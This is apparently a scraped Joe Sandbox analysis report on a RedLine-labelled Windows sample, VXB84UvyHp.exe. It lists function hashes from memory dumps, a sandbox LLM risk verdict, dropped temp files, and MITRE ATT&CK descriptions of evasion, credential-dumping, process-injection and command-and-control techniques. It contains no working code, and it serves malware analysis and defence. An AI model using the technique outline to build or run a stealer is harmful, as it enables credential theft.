Instruction Fuzzy Hash: 7F11C475508280DFDB12DF14D5C4B19FFB1FB84324F24C6AAD8894B696C33AD44ACBA1

Function 0107DA7D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1812881874.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_107d000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f32d97e256a016b87343fff8a1ddfaa9dad859b023ac1b67f5187fa41109327
Instruction ID: 2dc3010687a735a8d3bf67e02b957c116a75b8333987f574e456e77234925a35
Opcode Fuzzy Hash: 4f32d97e256a016b87343fff8a1ddfaa9dad859b023ac1b67f5187fa41109327
Instruction Fuzzy Hash: 8001F23190C300BAE711AB69C984B6BBFD8FF41320F1CC46AED880A286C2789840CB75

Function 0107DA7C Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1812881874.000000000107D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0107D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_107d000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64d801ae35dea1b1e3936e19dc79322ed4614a2466c98792b3076422c75c11ca
Instruction ID: 41a5575534227c805628ecbc5bfcd7200eb804bde00bea8b4fe85956a06dfb3a
Opcode Fuzzy Hash: 64d801ae35dea1b1e3936e19dc79322ed4614a2466c98792b3076422c75c11ca
Instruction Fuzzy Hash: 0AF06271508344AEE7519A1AC884B67FFE8FF41734F18C45AED584A296C2799844CB71

Non-executed Functions

Function 02D2DC90 Relevance: 1.6, Strings: 1, Instructions: 372COMMON

Download Yara Rule

Strings

Hbq, xrefs: 02D2DDA4

Memory Dump Source

Source File: 00000000.00000002.1813635104.0000000002D20000.00000040.00000800.00020000.00000000.sdmp, Offset: 02D20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2d20000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: c89244ecf9e42a05cbb2bb838ddd548f475463f78518fd2be64b86ed52049521
Instruction ID: 168311758d97aada9b4d31c255927ae15da8ef3baf5ebb1ffc8f8a4fbafa9b5a
Opcode Fuzzy Hash: c89244ecf9e42a05cbb2bb838ddd548f475463f78518fd2be64b86ed52049521
Instruction Fuzzy Hash: F2D17934B002158FDB04EF78C994A6EBBF6EF89204B1484A9E945DB3A5DF30DC46CB91

Function 06730D50 Relevance: 10.3, Strings: 8, Instructions: 296COMMON

Download Yara Rule

Strings

$^q, xrefs: 06730F50
$^q, xrefs: 06730F82
$^q, xrefs: 06730DCC
$^q, xrefs: 06730F00
$^q, xrefs: 06730E1C
$^q, xrefs: 06730E4E
$^q, xrefs: 06730F76
$^q, xrefs: 06730E42

Memory Dump Source

Source File: 00000000.00000002.1824450263.0000000006730000.00000040.00000800.00020000.00000000.sdmp, Offset: 06730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6730000_VXB84UvyHp.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-3823777903
Opcode ID: c8e7587a3e4566039049df91d6f9d3b6239294a8874ad67a268c373dc3ade599
Instruction ID: 950c5645bc63afb6a21b4667bd5ea9965c81473ce86b94252a711d9e49b03e43
Opcode Fuzzy Hash: c8e7587a3e4566039049df91d6f9d3b6239294a8874ad67a268c373dc3ade599
Instruction Fuzzy Hash: 23B1DF30B002598FDB45DB69C954ABEBBF6BF88300B14846AE406DB3A2DB35DC45CB90

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report VXB84UvyHp.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: RedLine

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\VXB84UvyHp.exe.log

C:\Users\user\AppData\Local\Temp\tmp2586.tmp

C:\Users\user\AppData\Local\Temp\tmp2597.tmp

C:\Users\user\AppData\Local\Temp\tmp25A7.tmp

C:\Users\user\AppData\Local\Temp\tmp25B8.tmp

C:\Users\user\AppData\Local\Temp\tmp25D8.tmp

C:\Users\user\AppData\Local\Temp\tmp487F.tmp

C:\Users\user\AppData\Local\Temp\tmp4880.tmp

C:\Users\user\AppData\Local\Temp\tmp5BCE.tmp

C:\Users\user\AppData\Local\Temp\tmp5BEE.tmp

C:\Users\user\AppData\Local\Temp\tmp5BFF.tmp

C:\Users\user\AppData\Local\Temp\tmp5C0F.tmp

C:\Users\user\AppData\Local\Temp\tmp5C20.tmp

C:\Users\user\AppData\Local\Temp\tmp5C30.tmp

C:\Users\user\AppData\Local\Temp\tmp801B.tmp

Windows Analysis Report
VXB84UvyHp.exe

Function 066EDD00 Relevance: 8.0, Strings: 6, Instructions: 465
COMMON

Function 066E3320 Relevance: 6.7, Strings: 5, Instructions: 466
COMMON